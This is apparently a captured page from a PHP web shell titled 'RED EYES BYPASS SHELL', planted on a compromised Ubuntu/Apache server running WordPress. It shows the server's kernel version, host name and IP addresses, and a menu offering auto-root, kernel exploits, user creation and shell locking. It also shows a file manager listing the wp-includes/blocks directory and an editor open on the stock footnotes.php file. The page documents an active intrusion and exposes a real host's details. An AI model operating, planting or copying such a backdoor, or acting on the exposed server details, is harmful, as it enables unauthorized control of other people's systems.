Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
pr /
wp-includes /
blocks /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
archives
[ DIR ]
drwxr-xr-x
audio
[ DIR ]
drwxr-xr-x
avatar
[ DIR ]
drwxr-xr-x
block
[ DIR ]
drwxr-xr-x
button
[ DIR ]
drwxr-xr-x
buttons
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
categories
[ DIR ]
drwxr-xr-x
code
[ DIR ]
drwxr-xr-x
column
[ DIR ]
drwxr-xr-x
columns
[ DIR ]
drwxr-xr-x
comment-author-name
[ DIR ]
drwxr-xr-x
comment-content
[ DIR ]
drwxr-xr-x
comment-date
[ DIR ]
drwxr-xr-x
comment-edit-link
[ DIR ]
drwxr-xr-x
comment-reply-link
[ DIR ]
drwxr-xr-x
comment-template
[ DIR ]
drwxr-xr-x
comments
[ DIR ]
drwxr-xr-x
comments-pagination
[ DIR ]
drwxr-xr-x
comments-pagination-next
[ DIR ]
drwxr-xr-x
comments-pagination-numbers
[ DIR ]
drwxr-xr-x
comments-pagination-previous
[ DIR ]
drwxr-xr-x
comments-title
[ DIR ]
drwxr-xr-x
cover
[ DIR ]
drwxr-xr-x
details
[ DIR ]
drwxr-xr-x
embed
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
footnotes
[ DIR ]
drwxr-xr-x
freeform
[ DIR ]
drwxr-xr-x
gallery
[ DIR ]
drwxr-xr-x
group
[ DIR ]
drwxr-xr-x
heading
[ DIR ]
drwxr-xr-x
home-link
[ DIR ]
drwxr-xr-x
html
[ DIR ]
drwxr-xr-x
image
[ DIR ]
drwxr-xr-x
latest-comments
[ DIR ]
drwxr-xr-x
latest-posts
[ DIR ]
drwxr-xr-x
legacy-widget
[ DIR ]
drwxr-xr-x
list
[ DIR ]
drwxr-xr-x
list-item
[ DIR ]
drwxr-xr-x
loginout
[ DIR ]
drwxr-xr-x
media-text
[ DIR ]
drwxr-xr-x
missing
[ DIR ]
drwxr-xr-x
more
[ DIR ]
drwxr-xr-x
navigation
[ DIR ]
drwxr-xr-x
navigation-link
[ DIR ]
drwxr-xr-x
navigation-submenu
[ DIR ]
drwxr-xr-x
nextpage
[ DIR ]
drwxr-xr-x
page-list
[ DIR ]
drwxr-xr-x
page-list-item
[ DIR ]
drwxr-xr-x
paragraph
[ DIR ]
drwxr-xr-x
pattern
[ DIR ]
drwxr-xr-x
post-author
[ DIR ]
drwxr-xr-x
post-author-biography
[ DIR ]
drwxr-xr-x
post-author-name
[ DIR ]
drwxr-xr-x
post-comments-form
[ DIR ]
drwxr-xr-x
post-content
[ DIR ]
drwxr-xr-x
post-date
[ DIR ]
drwxr-xr-x
post-excerpt
[ DIR ]
drwxr-xr-x
post-featured-image
[ DIR ]
drwxr-xr-x
post-navigation-link
[ DIR ]
drwxr-xr-x
post-template
[ DIR ]
drwxr-xr-x
post-terms
[ DIR ]
drwxr-xr-x
post-title
[ DIR ]
drwxr-xr-x
preformatted
[ DIR ]
drwxr-xr-x
pullquote
[ DIR ]
drwxr-xr-x
query
[ DIR ]
drwxr-xr-x
query-no-results
[ DIR ]
drwxr-xr-x
query-pagination
[ DIR ]
drwxr-xr-x
query-pagination-next
[ DIR ]
drwxr-xr-x
query-pagination-numbers
[ DIR ]
drwxr-xr-x
query-pagination-previous
[ DIR ]
drwxr-xr-x
query-title
[ DIR ]
drwxr-xr-x
quote
[ DIR ]
drwxr-xr-x
read-more
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
separator
[ DIR ]
drwxr-xr-x
shortcode
[ DIR ]
drwxr-xr-x
site-logo
[ DIR ]
drwxr-xr-x
site-tagline
[ DIR ]
drwxr-xr-x
site-title
[ DIR ]
drwxr-xr-x
social-link
[ DIR ]
drwxr-xr-x
social-links
[ DIR ]
drwxr-xr-x
spacer
[ DIR ]
drwxr-xr-x
table
[ DIR ]
drwxr-xr-x
tag-cloud
[ DIR ]
drwxr-xr-x
template-part
[ DIR ]
drwxr-xr-x
term-description
[ DIR ]
drwxr-xr-x
text-columns
[ DIR ]
drwxr-xr-x
verse
[ DIR ]
drwxr-xr-x
video
[ DIR ]
drwxr-xr-x
widget-group
[ DIR ]
drwxr-xr-x
archives.php
2.89
KB
-rwxr-xr-x
avatar.php
5.55
KB
-rwxr-xr-x
block.php
1.57
KB
-rwxr-xr-x
blocks-json.php
156.18
KB
-rwxr-xr-x
calendar.php
6.03
KB
-rwxr-xr-x
categories.php
2.78
KB
-rwxr-xr-x
comment-author-name.php
2.05
KB
-rwxr-xr-x
comment-content.php
2.36
KB
-rwxr-xr-x
comment-date.php
1.56
KB
-rwxr-xr-x
comment-edit-link.php
1.64
KB
-rwxr-xr-x
comment-reply-link.php
1.99
KB
-rwxr-xr-x
comment-template.php
4.35
KB
-rwxr-xr-x
comments-pagination-next.php
1.81
KB
-rwxr-xr-x
comments-pagination-numbers.php
1.56
KB
-rwxr-xr-x
comments-pagination-previous.php
1.61
KB
-rwxr-xr-x
comments-pagination.php
1.13
KB
-rwxr-xr-x
comments-title.php
2.67
KB
-rwxr-xr-x
comments.php
6.47
KB
-rwxr-xr-x
cover.php
2.45
KB
-rwxr-xr-x
file.php
3.38
KB
-rwxr-xr-x
footnotes.php
8.69
KB
-rwxr-xr-x
gallery.php
4.85
KB
-rwxr-xr-x
heading.php
1.23
KB
-rwxr-xr-x
home-link.php
4.72
KB
-rwxr-xr-x
image.php
1.29
KB
-rwxr-xr-x
index.php
3.68
KB
-rwxr-xr-x
latest-comments.php
4.88
KB
-rwxr-xr-x
latest-posts.php
7.87
KB
-rwxr-xr-x
legacy-widget.php
3.81
KB
-rwxr-xr-x
loginout.php
1.35
KB
-rwxr-xr-x
navigation-link.php
11.65
KB
-rwxr-xr-x
navigation-submenu.php
9.18
KB
-rwxr-xr-x
navigation.php
37.5
KB
-rwxr-xr-x
page-list-item.php
342
B
-rwxr-xr-x
page-list.php
13.14
KB
-rwxr-xr-x
pattern.php
1.01
KB
-rwxr-xr-x
post-author-biography.php
1.41
KB
-rwxr-xr-x
post-author-name.php
1.71
KB
-rwxr-xr-x
post-author.php
2.51
KB
-rwxr-xr-x
post-comments-form.php
2.68
KB
-rwxr-xr-x
post-content.php
2.28
KB
-rwxr-xr-x
post-date.php
2.29
KB
-rwxr-xr-x
post-excerpt.php
3.33
KB
-rwxr-xr-x
post-featured-image.php
7.63
KB
-rwxr-xr-x
post-navigation-link.php
4.26
KB
-rwxr-xr-x
post-template.php
4.86
KB
-rwxr-xr-x
post-terms.php
3.27
KB
-rwxr-xr-x
post-title.php
2.02
KB
-rwxr-xr-x
query-no-results.php
1.76
KB
-rwxr-xr-x
query-pagination-next.php
2.9
KB
-rwxr-xr-x
query-pagination-numbers.php
3.73
KB
-rwxr-xr-x
query-pagination-previous.php
2.36
KB
-rwxr-xr-x
query-pagination.php
1.11
KB
-rwxr-xr-x
query-title.php
2.01
KB
-rwxr-xr-x
query.php
304
B
-rwxr-xr-x
read-more.php
1.75
KB
-rwxr-xr-x
require-dynamic-blocks.php
3.85
KB
-rwxr-xr-x
require-static-blocks.php
536
B
-rwxr-xr-x
rss.php
3.83
KB
-rwxr-xr-x
search.php
21.61
KB
-rwxr-xr-x
shortcode.php
697
B
-rwxr-xr-x
site-logo.php
5.79
KB
-rwxr-xr-x
site-tagline.php
994
B
-rwxr-xr-x
site-title.php
1.73
KB
-rwxr-xr-x
social-link.php
59.13
KB
-rwxr-xr-x
tag-cloud.php
1.37
KB
-rwxr-xr-x
template-part.php
9.71
KB
-rwxr-xr-x
term-description.php
1.27
KB
-rwxr-xr-x
widget-group.php
2.12
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : footnotes.php
<?php /** * Server-side rendering of the `core/footnotes` block. * * @package WordPress */ /** * Renders the `core/footnotes` block on the server. * * @since 6.3.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the HTML representing the footnotes. */ function render_block_core_footnotes( $attributes, $content, $block ) { // Bail out early if the post ID is not set for some reason. if ( empty( $block->context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $footnotes = get_post_meta( $block->context['postId'], 'footnotes', true ); if ( ! $footnotes ) { return; } $footnotes = json_decode( $footnotes, true ); if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes(); $block_content = ''; foreach ( $footnotes as $footnote ) { $block_content .= sprintf( '<li id="%1$s">%2$s <a href="#%1$s-link">↩︎</a></li>', $footnote['id'], $footnote['content'] ); } return sprintf( '<ol %1$s>%2$s</ol>', $wrapper_attributes, $block_content ); } /** * Registers the `core/footnotes` block on the server. * * @since 6.3.0 */ function register_block_core_footnotes() { foreach ( array( 'post', 'page' ) as $post_type ) { register_post_meta( $post_type, 'footnotes', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', ) ); } register_block_type_from_metadata( __DIR__ . '/footnotes', array( 'render_callback' => 'render_block_core_footnotes', ) ); } add_action( 'init', 'register_block_core_footnotes' ); /** * Saves the footnotes meta value to the revision. * * @since 6.3.0 * * @param int $revision_id The revision ID. */ function wp_save_footnotes_meta( $revision_id ) { $post_id = wp_is_post_revision( $revision_id ); if ( $post_id ) { $footnotes = get_post_meta( $post_id, 'footnotes', true ); if ( $footnotes ) { // Can't use update_post_meta() because it doesn't allow revisions. update_metadata( 'post', $revision_id, 'footnotes', wp_slash( $footnotes ) ); } } } add_action( 'wp_after_insert_post', 'wp_save_footnotes_meta' ); /** * Keeps track of the revision ID for "rest_after_insert_{$post_type}". * * @since 6.3.0 * * @global int $wp_temporary_footnote_revision_id The footnote revision ID. * * @param int $revision_id The revision ID. */ function wp_keep_footnotes_revision_id( $revision_id ) { global $wp_temporary_footnote_revision_id; $wp_temporary_footnote_revision_id = $revision_id; } add_action( '_wp_put_post_revision', 'wp_keep_footnotes_revision_id' ); /** * This is a specific fix for the REST API. The REST API doesn't update * the post and post meta in one go (through `meta_input`). While it * does fix the `wp_after_insert_post` hook to be called correctly after * updating meta, it does NOT fix hooks such as post_updated and * save_post, which are normally also fired after post meta is updated * in `wp_insert_post()`. Unfortunately, `wp_save_post_revision` is * added to the `post_updated` action, which means the meta is not * available at the time, so we have to add it afterwards through the * `"rest_after_insert_{$post_type}"` action. * * @since 6.3.0 * * @global int $wp_temporary_footnote_revision_id The footnote revision ID. * * @param WP_Post $post The post object. */ function wp_add_footnotes_revisions_to_post_meta( $post ) { global $wp_temporary_footnote_revision_id; if ( $wp_temporary_footnote_revision_id ) { $revision = get_post( $wp_temporary_footnote_revision_id ); if ( ! $revision ) { return; } $post_id = $revision->post_parent; // Just making sure we're updating the right revision. if ( $post->ID === $post_id ) { $footnotes = get_post_meta( $post_id, 'footnotes', true ); if ( $footnotes ) { // Can't use update_post_meta() because it doesn't allow revisions. update_metadata( 'post', $wp_temporary_footnote_revision_id, 'footnotes', wp_slash( $footnotes ) ); } } } } add_action( 'rest_after_insert_post', 'wp_add_footnotes_revisions_to_post_meta' ); add_action( 'rest_after_insert_page', 'wp_add_footnotes_revisions_to_post_meta' ); /** * Restores the footnotes meta value from the revision. * * @since 6.3.0 * * @param int $post_id The post ID. * @param int $revision_id The revision ID. */ function wp_restore_footnotes_from_revision( $post_id, $revision_id ) { $footnotes = get_post_meta( $revision_id, 'footnotes', true ); if ( $footnotes ) { update_post_meta( $post_id, 'footnotes', wp_slash( $footnotes ) ); } else { delete_post_meta( $post_id, 'footnotes' ); } } add_action( 'wp_restore_post_revision', 'wp_restore_footnotes_from_revision', 10, 2 ); /** * Adds the footnotes field to the revision. * * @since 6.3.0 * * @param array $fields The revision fields. * @return array The revision fields. */ function wp_add_footnotes_to_revision( $fields ) { $fields['footnotes'] = __( 'Footnotes' ); return $fields; } add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' ); /** * Gets the footnotes field from the revision. * * @since 6.3.0 * * @param string $revision_field The field value, but $revision->$field * (footnotes) does not exist. * @param string $field The field name, in this case "footnotes". * @param object $revision The revision object to compare against. * @return string The field value. */ function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) { return get_metadata( 'post', $revision->ID, $field, true ); } add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 ); /** * The REST API autosave endpoint doesn't save meta, so we can use the * `wp_creating_autosave` when it updates an exiting autosave, and * `_wp_put_post_revision` when it creates a new autosave. * * @since 6.3.0 * * @param int|array $autosave The autosave ID or array. */ function _wp_rest_api_autosave_meta( $autosave ) { // Ensure it's a REST API request. if ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) { return; } $body = rest_get_server()->get_raw_data(); $body = json_decode( $body, true ); if ( ! isset( $body['meta']['footnotes'] ) ) { return; } // `wp_creating_autosave` passes the array, // `_wp_put_post_revision` passes the ID. $id = is_int( $autosave ) ? $autosave : $autosave['ID']; if ( ! $id ) { return; } update_post_meta( $id, 'footnotes', wp_slash( $body['meta']['footnotes'] ) ); } // See https://github.com/WordPress/wordpress-develop/blob/2103cb9966e57d452c94218bbc3171579b536a40/src/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php#L391C1-L391C1. add_action( 'wp_creating_autosave', '_wp_rest_api_autosave_meta' ); // See https://github.com/WordPress/wordpress-develop/blob/2103cb9966e57d452c94218bbc3171579b536a40/src/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php#L398. // Then https://github.com/WordPress/wordpress-develop/blob/2103cb9966e57d452c94218bbc3171579b536a40/src/wp-includes/revision.php#L367. add_action( '_wp_put_post_revision', '_wp_rest_api_autosave_meta' ); /** * This is a workaround for the autosave endpoint returning early if the * revision field are equal. The problem is that "footnotes" is not real * revision post field, so there's nothing to compare against. * * This trick sets the "footnotes" field (value doesn't matter), which will * cause the autosave endpoint to always update the latest revision. That should * be fine, it should be ok to update the revision even if nothing changed. Of * course, this is temporary fix. * * @since 6.3.0 * * @param WP_Post $prepared_post The prepared post object. * @param WP_REST_Request $request The request object. * * See https://github.com/WordPress/wordpress-develop/blob/2103cb9966e57d452c94218bbc3171579b536a40/src/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php#L365-L384. * See https://github.com/WordPress/wordpress-develop/blob/2103cb9966e57d452c94218bbc3171579b536a40/src/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php#L219. */ function _wp_rest_api_force_autosave_difference( $prepared_post, $request ) { // We only want to be altering POST requests. if ( $request->get_method() !== 'POST' ) { return $prepared_post; } // Only alter requests for the '/autosaves' route. if ( substr( $request->get_route(), -strlen( '/autosaves' ) ) !== '/autosaves' ) { return $prepared_post; } $prepared_post->footnotes = '[]'; return $prepared_post; } add_filter( 'rest_pre_insert_post', '_wp_rest_api_force_autosave_difference', 10, 2 );
Close